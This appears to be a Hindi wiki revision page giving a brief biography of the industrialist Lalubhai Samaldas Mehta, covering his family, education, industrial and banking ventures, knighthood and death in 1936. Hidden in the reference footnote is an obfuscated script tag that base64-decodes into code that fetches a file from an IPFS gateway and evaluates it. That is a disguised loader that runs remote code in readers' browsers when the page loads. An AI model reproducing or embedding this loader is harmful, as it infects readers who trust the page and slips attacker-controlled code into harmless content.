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==उद्योगों के प्रति रुझान==
लालू भाई सामलदास मेहता का मानना था कि देश के विकाश के लिए उद्योगों का विकाश होना जरूरी है और हम सहकारिता के आधार पर ही प्रगति कर सकते हैं। उन्होंने बालचंद हीराचंद के साथ 'सिंधिया स्टीम नेविगेशन कंपनी' नामक जहाजरानी कंपनी की स्थापना में प्रमुख भूमिका निभाई। वे सीमेंट, [[कागज]], चीन, कांच, और विद्युत उपकरणों के उद्योगों की स्थापना में भी अग्रणी थे। वे लंबे समय तक टाटा आयरन एंड स्टील कंपनी के निदेशक रहे। बैंक ऑफ इंडिया और बैंक आफ बड़ौदा को आगे बढ़ाने में उनका बड़ा योगदान था।  'मुंबई लाइव इंश्योरेंस कंपनी' की स्थापना उन्होंने ही की थी।
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लालू भाई सामलदास मेहता का मानना था कि देश के विकास के लिए उद्योगों का विकास होना जरूरी है और हम सहकारिता के आधार पर ही प्रगति कर सकते हैं। उन्होंने बालचंद हीराचंद के साथ 'सिंधिया स्टीम नेविगेशन कंपनी' नामक जहाजरानी कंपनी की स्थापना में प्रमुख भूमिका निभाई। वे सीमेंट, [[कागज]], चीन, कांच, और विद्युत उपकरणों के उद्योगों की स्थापना में भी अग्रणी थे। वे लंबे समय तक टाटा आयरन एंड स्टील कंपनी के निदेशक रहे। बैंक ऑफ इंडिया और बैंक आफ बड़ौदा को आगे बढ़ाने में उनका बड़ा योगदान था।  'मुंबई लाइव इंश्योरेंस कंपनी' की स्थापना उन्होंने ही की थी।
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==मृत्यु==
 
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लालू भाई सामलदास मेहता का [[1936]] में स्वर्गवास हो गया।
 
लालू भाई सामलदास मेहता का [[1936]] में स्वर्गवास हो गया।

10:30, 9 अक्टूबर 2019 के समय का अवतरण

लालू भाई सामलदास मेहता ( जन्म- 14 अक्टूबर, 1863, मृत्यु- 1936) प्रसिद्ध उद्योगपति थे। 1926 में ब्रिटिश सरकार ने उन्हें 'सर' की उपाधि दी थी।

परिचय

अपने समय के प्रसिद्ध उद्योगपति लालू भाई सामलदास मेहता का जन्म 14 अक्टूबर 1863 को सौराष्ट्र के भावनगर कस्बे में एक संपन्न परिवार में हुआ था। उनके पिता सामलदास परमानंद पहले रियासत में चीफ जस्टिस थे और फिर दीवान हो गए। सामलदास के बाद उनके एक पुत्र विट्ठलदास दीवान बने। लालू भाई की शिक्षा मुंबई की एलफिस्टन कॉलेज में हुई। उनका मानना था कि देश उद्योगों के विकास से और सहकारिता के आधार पर ही उन्नति कर सकता है। 1926 में ब्रिटिश सरकार ने उन्हें 'सर' की उपाधि से नवाजा था।[1]

उद्योगों के प्रति रुझान

लालू भाई सामलदास मेहता का मानना था कि देश के विकास के लिए उद्योगों का विकास होना जरूरी है और हम सहकारिता के आधार पर ही प्रगति कर सकते हैं। उन्होंने बालचंद हीराचंद के साथ 'सिंधिया स्टीम नेविगेशन कंपनी' नामक जहाजरानी कंपनी की स्थापना में प्रमुख भूमिका निभाई। वे सीमेंट, कागज, चीन, कांच, और विद्युत उपकरणों के उद्योगों की स्थापना में भी अग्रणी थे। वे लंबे समय तक टाटा आयरन एंड स्टील कंपनी के निदेशक रहे। बैंक ऑफ इंडिया और बैंक आफ बड़ौदा को आगे बढ़ाने में उनका बड़ा योगदान था। 'मुंबई लाइव इंश्योरेंस कंपनी' की स्थापना उन्होंने ही की थी।

मृत्यु

लालू भाई सामलदास मेहता का 1936 में स्वर्गवास हो गया।


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टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 767 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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